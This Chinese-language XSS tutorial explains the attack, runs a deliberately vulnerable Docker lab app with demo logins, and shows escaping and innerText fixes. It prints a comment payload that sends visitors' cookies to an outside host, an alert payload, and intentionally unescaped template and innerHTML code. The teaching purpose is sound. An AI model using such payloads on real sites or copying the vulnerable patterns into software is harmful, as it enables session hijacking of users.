XSS漏洞原理、攻击与防御

现代 Web 网页通常都是动态的,内容根据数据库来生成。举个例子,您在某个网站上发表一条评论,评论内容会保存在数据库中;当您或其他用户浏览评论时,后端需要查询数据库,最终生成可供浏览的网页。

根据数据生成网页,就是网页渲染,通常可以分为两种:

  • 服务端渲染,即在后端渲染好 HTML 页面,再返回给浏览器;
  • 客户端渲染,即在前端通过 JS 脚本操作 DOM 节点,动态调整 HTML 网页;

不管采用哪种渲染方式,本质上都是将数据拼接在 HTML 网页,再呈现给用户。数据通常是由用户输入的,比如评论。如果被别有用心的人利用,注入恶意代码进行攻击,该怎么办呢?想想 SQL注入 攻击!

渲染 HTML 网页跟拼接 SQL 一样,也有可能被注入恶意代码进行攻击,这就是所谓的 跨站脚本cross site scripting ),简称 XSS 。利用 XSS 漏洞,黑客可以在网站中输入恶意代码,最终被渲染到 HTML 网页,攻击浏览网页的用户。

攻击原理

假设有一个网页显示评论列表,由服务端负责渲染,模板如下:

1
2
3
4
5
6
{% for comment in comments %}
<div class="comment">
  <p class="username">{{ comment.username }}</p>
  <p class="content">{{ comment.content }}</p>
</div>
{% endfor %}

comments 是从数据库中查询得到的评论列表,模板引擎根据它循环生成每个评论的 HTML 结构,包括用户名,和评论内容。模板将用户名和评论内容都当成普通文本,直接渲染成一个 p 标签。

可万一用户输入的评论内容不是普通文本呢?猜猜如果笔者写下这个评论,其他用户看了之后会发生什么?

1
2
3
4
5
写得挺好的!
<img id="hacking" style="display: none;" >
<script>
  document.querySelector('img[id="hacking"]').src = 'https://fasionchan.com/images/profile.png?data=' + encodeURIComponent(document.cookie)
</script>

根据网页模板,笔者的评论最终会渲染成这样的 HTML 结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<div class="comment">
  <p class="username">fasion</p>
  <p class="content">
    写得挺好的!
    <img id="hacking" style="display: none;" >
    <script>
      document.querySelector('img[id="hacking"]').src = 'https://fasionchan.com/images/profile.png?data=' + encodeURIComponent(document.cookie)
    </script>
  </p>
</div>

没错,笔者在评论中夹带了两个私货,一个不显示 img 标签和一个 script 脚本标签。每个浏览这条评论的用户,HTML 网页都会包含我精心炮制的两个标签。这两个标签一起合作,悄悄地偷用户的 cookie

  1. script 标签中的代码执行,取出当前站点的所有 cookie 数据;
  2. cookie 数据进行编码,然后作为查询参数 data 拼接到一个图片 URL 中;
  3. 用拼接出来的 URL 设置 img 图片标签的 src 属性,利用它对 URL 发起请求;
  4. 笔者配置服务器,将查询参数输出到日志,就可以等着冤大头用户将自己的 cookie 报上来;
  5. 拿到用户的 cookie ,就相当于拿到他的身份和权限,可以冒充它做各种操作;

由此可见,XSS 是一种跟 SQL 注入类似的典型代码注入攻击手段。只不过 XSS 按照 HTML 语法来注入,而后者则根据 SQL 语法来注入,本质都是一样的。

攻击实验

笔者提供了一个带有 XSS 隐患的 Web 应用 IdeaHub ,可以用来练习 XSS 攻击。如果您看过 SQL注入 一节,对它应该不会陌生。XSS 漏洞位于应用的首页,相信不难找出,这是首页的处理逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route("/", methods=['GET', 'POST'])
@catch_exception
@ensure_login
def home(current_user, db, cursor):
    if request.method == 'POST':
        cursor.execute('INSERT INTO Ideas (content, introducer_id, introduced_ts) values (?, ?, ?)', (
            request.form['content'].strip(),
            current_user['id'],
            int(time.time()),
        ))
        db.commit()
        return redirect('/')

    introducer_id = request.args.get('introducer_id')
    if introducer_id:
        cursor.execute('SELECT Ideas.*, username as introducer_username FROM Ideas LEFT JOIN Users Where Ideas.introducer_id=Users.id AND Users.id=? ORDER BY introduced_ts DESC', (introducer_id,))
    else:
        cursor.execute('SELECT Ideas.*, username as introducer_username FROM Ideas LEFT JOIN Users Where Ideas.introducer_id=Users.id ORDER BY introduced_ts DESC')
    ideas = cursor.fetchall()

    return render_template('home.txt', current_user=current_user, ideas=ideas)

这段代码可以处理 GETPOST 请求,其中 GET 请求从数据库中查询创意列表,然后渲染 home.txt 模板,得到用户可以浏览的首页内容;POST 请求将用户通过表单提交的创意保存到数据库。

home.txt 模板保存在变量 ideas 中的创意列表,逐一渲染每个创意的 HTML 结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<div class="ideas card">
  {% for idea in ideas %}
  <div class="idea">
    <p class="username">{{ idea.introducer_username }}</p>
    <p class="content">{{ idea.content }}</p>

    <div class="operators">
      {% if idea.introducer_id == current_user.id %}
      <form action="/delete-idea/{{ idea.id }}" method="POST">
        <input class="danger" type="submit" value="Delete">
      </form>
      {% endif %}

      {% if idea.introducer_id != current_user.id %}
      <form action="/reward" method="GET">
        <input type="hidden" name="receiver_id" value="{{ idea.introducer_id }}">
        <input class="primary" type="submit" value="Reward">
      </form>
      {% endif %}
    </div>
  </div>
  {% endfor %}
</div>

注意到,创意内容作为一个段落被组织成一个 p 标签。如果用户处心积虑地在创意内容中输入 HTML 代码,系统若不加以处理,最终将被浏览器当做正常 HTML 解析并运行。

来到这,您应该找到攻击方式了!将实验环境跑起来发起你的攻击的吧!

实验环境

我将这个应用打包成一个镜像,只要安装了 Docker 环境,即可用这个命令一键启动:

1
docker run -it --rm -h IdeaHub -p 5000:5000 docker.io/fasionchan/ideahub:1.0

实验环境启动后,可以在屏幕中看到两个窗口:左边窗口跑着 Web 服务,可以看到它的日志输出;右边窗口是一个 shell 命令行,可以用来执行一些命令。

如何在不同窗口间进行切换呢? 我们来复习一下 tmux 窗口切换操作:

  1. 按下 tmux 功能键 Ctrl-B
  2. 再按下 Q ,这时每个窗口会出现一个数字;
  3. 按下窗口上的数字,即可切到对应的窗口;

这个 docker 命令将容器的服务端口 5000 映射到宿主机,因此只需在浏览器中输入 URL http://localhost:5000 ,即可访问部署好的应用,来到登录页。

已知系统中有 alicebillericlucy 等用户,可以随便选一个来登录。

用户 密码
alice alice123
bill bill123
eric eric123
lucy lucy123

攻击方式

笔者抛砖引玉,提供一个攻击示例:

1
2
I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">

发表创意时,夹带一个 img 图片标签,并通过 onload 属性执行一些 JS 代码。例子只是调用 alert 调起弹框提示,但理论上黑客可以利用它来执行任意恶意代码,劫持用户做一些不知情的操作。

这个创意发表后,首页会有弹框提示。您可以切换账号,模拟其他其他用户浏览网页,也可以看到弹框提示,说明恶意代码正在攻击其他用户。

防御手段

XSS 的根本原因跟 SQL 是类似的:数据中的字符构成 HTML 标签,使网页的结构发生改变。因此,防御手段也是类似的:

  • 永远不要相信用户的输入;
  • 对用户输入的内容进行 转义escape )处理,防止普通文本被浏览器当做 HTML 标签来处理;

XSS 发生在网页的渲染环节,分为后端渲染和前端渲染两种,防御手段也略有不同。

后端渲染

IdeaHub 首页为例,它在后端使用 Jinja2 模板引擎来渲染 HTML 网页。但开发人员提供的 Jinja2 模板,没有对创意内容进行转义,造成 XSS 隐患。

通常,模板引擎都会 HTML 转义工具函数,以 Jinja2 为例,我们只对模板稍加修改,先对数据进行转义处理即可:

1
2
<p class="username">{{ idea.introducer_username | e }}</p>
<p class="content">{{ idea.content | e }}</p>

管道符 | 表示将数据传给后面的处理函数处理,处理函数 e 表示对数据进行 HTML 转义。HTML 转义将 <> 等有 HTML 语法的字符编码成 &lt;&gt; 这种形式。

您可以在实验环境中对模板稍加修改,然后刷新首页,验证 XSS 漏洞是否修复。

另外,渲染 HTML 模板时,我们总是需要对数据进行转义。因此,Jinja2 默认对后缀名为 .html 的模板启用 HTML 转义。

IdeaHub 首页模板后缀名,笔者故意写成 .txt 的,纯粹是为了演示 XSS 。其他页面模板后缀名都是 .html ,模板引擎已经默认帮我们做 HTML 转义了,也就杜绝了 XSS 漏洞。

现代研发框架已经很舒服了,基本不作就不会死,但研发人员还是要懂得这些底层原理。

如果没有使用 Web 框架或者模板渲染引擎,那就只能自己做 HTML 转义,以 Python 为例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 原文本
>>> text = '''I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">'''
>>> print(text)
I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">

# 调用html标准库中的escape函数对文本进行转义
>>> import html
>>> print(html.escape(text))
I have a big idea!
&lt;img onload=&quot;alert(&#x27;XSS!&#x27;)&quot; src=&quot;https://fasionchan.com/images/profile.png&quot; style=&quot;display: none&quot;&gt;

前端渲染

笔者提供了一个创意列表页,点击 List 菜单即可进入。这个页面通过 JS 在前端渲染网页结构,笔者在里面也藏了个 XSS 漏洞。点击查看网页源代码,看能否从 JS 代码中找到漏洞?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  function render_idea(idea) {
    var dom = document.createElement('div');
    dom.setAttribute('class', 'idea');

    var name = document.createElement('p');
    name.setAttribute('class', 'username');
    name.innerHTML = idea.introducer_username;
    dom.appendChild(name);

    // idea content
    var content = document.createElement('p');
    content.setAttribute('class', 'content');
    content.innerHTML = idea.content;
    dom.appendChild(content);

    return dom;
  }

  function render_ideas(ideas) {
    var dom = document.createElement('div');
    dom.setAttribute('class', 'ideas card');
    ideas.forEach((idea) => {
      dom.appendChild(render_idea(idea));
    });
    return dom;
  }

  let request = new XMLHttpRequest();
  request.open('GET', '/api/ideas', true);
  request.onreadystatechange = function() {
    if (request.readyState === 4 && request.status === 200) {
      var ideas = JSON.parse(request.responseText);
      if (ideas && ideas.length > 0) {
        document.querySelector('div[class="content"]').append(render_ideas(ideas))
      }
    }
  }
  request.send();

这段代码调用接口获取创意列表,然后根据数据动态生成 DOM 节点。注意到,创意内容被赋值到 p 标签的 innerHTML 属性,因此被浏览器当做 HTML 来处理。

修复这类问题的方法也很简单,只需将数据赋值给 DOM 节点的 innerText 属性即可:

1
content.innerText = idea.content;

这明确告诉浏览器,这部分数据为普通文本,不能将其当做 HTML 来处理。

尝试修改创意列表页的 JS 代码,修复其中的 XSS 漏洞,代码位于 templates/list.html

如果藏在创意中的 HTML 代码被浏览器当做普通文本直接显示,弹框消失,说明漏洞已经堵住了。

总结

本节,我们学习了 XSS 漏洞,它跟 SQL 注入非常类似:在数据中构造 HTML 标签,使其成为网页结构的一部分。因此,防御 XSS 漏洞的方法也很简单,只需 对数据加以转义

  • 后端渲染时,优先利用模板引擎提供基础设施来转义;
  • 后端渲染时,尽量不要自己手工渲染网页,迫不得已时记得对数据进行 HTML 转义;
  • 前端渲染时,数据更新 DOM 节点 innerText 属性,而不能更新 innerHTML 属性;

小菜学网络】系列文章首发于公众号【小菜学编程】,敬请关注:

【小菜学网络】系列文章首发于公众号【小菜学编程】,敬请关注: